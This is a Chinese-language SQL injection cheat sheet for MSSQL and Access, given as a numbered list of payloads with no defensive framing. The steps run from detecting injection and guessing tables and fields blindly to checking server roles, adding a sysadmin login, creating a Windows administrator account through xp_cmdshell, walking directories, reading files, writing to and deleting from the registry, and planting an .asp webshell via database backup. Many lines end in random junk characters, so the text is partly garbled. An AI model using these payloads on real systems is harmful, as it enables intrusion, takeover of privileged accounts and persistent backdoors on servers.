1.判断是否有注入;and 1=1 ;and 1=2 orb_"Qw
2.初步判断是否是mssql ;and user>0 ~K@'+5Pc
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3.注入参数是字符'and [查询条件] and ''=' .YuJJJv
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' ~g.$|^,.O/
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5.判断数据库系统 0Lb4'25.
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;and (select count(*) from sysobjects)>0 mssql ({o'd=nO
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;and (select count(*) from msysobjects)>0 access R4-~j gzx
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6.猜数据库 ;and (select Count(*) from [数据库名])>0
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 K<>sOWZ'S
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ^aW
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9.(1)猜字段的ascii值(access) 0bo/XUpi
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 X]'7Ov
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(2)猜字段的ascii值(mssql) ]LM-@G+Jz
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 jRatm.N
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10.测试权限结构(mssql) bcupo:N
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Si~vDQ7"
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ]~3U
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ccL~#c0P7
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- h;0S%ZC
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- +$Rt+S BD
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 7hcNf,
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;and 1=(select IS_MEMBER('db_owner'));-- zL J/5&
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11.添加mssql和系统的帐户 Y3=_ec3w
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;exec master.dbo.sp_addlogin username;-- QNl'ZB\
;exec master.dbo.sp_password null,username,password;-- oqeSG.1
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- )Dz+X9;g+
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;exec master.dbo.xp_cmdshell 'net user username password b3VS\[p
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- `Ry]y"K
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- :Q@&5!]>d
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12.(1)遍历目录 *2X0^H|dS
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;create table dirs(paths varchar(100), id int) +j4"!:N}B
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;insert dirs exec master.dbo.xp_dirtree 'c:\' RZCq {|L
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;and (select top 1 paths from dirs)>0 pn^ d]rou?
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) J^g!++|2P
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(2)遍历目录 qQH]`#P
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- f@c`8L@g
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ~b2wBs)r
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 nxl[d\ap+n
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Qg<(u?7N
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 1&U>,;]*
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13.mssql中的存储过程 j ku}QM^
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xp_regenumvalues 注册表根键, 子键 `FC(
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 LoGVwRmoC
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xp_regread 根键,子键,键值名 #&7}-"Nd
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;exec xp_regread w4d--[Q
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ^R@j=_8}
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xp_regwrite 根键,子键, 值名, 值类型, 值 yYH 0v7vx+
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 8M`#pN^
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 E2{FK)qT
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xp_regdeletevalue 根键,子键,值名 >lIk9|
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 !dC<4qZ\C
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 }x
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14.mssql的backup创建webshell E3iW-B8u8
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use model ^:Gie
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create table cmd(str image); &sL&\+=<(
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insert into cmd(str) values (''); M%0C_=zg
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backup database model to disk='c:\l.asp'; K]9"_UnN
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15.mssql内置函数 9amaL~m
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;and (select @@version)>0 获得Windows的版本号 5)MS~ii
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa #hsx#x||
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;and (select user_name())>0 爆当前系统的连接用户 CLJ;<
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;and (select db_name())>0 得到当前连接的数据库 ={xE!"
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16.简洁的webshell $
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use model O6G0
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create table cmd(str image); )(384@'"u
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insert into cmd(str) values (''); 07^iP>?
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backup database model to disk='g:\wwwtest\l.asp';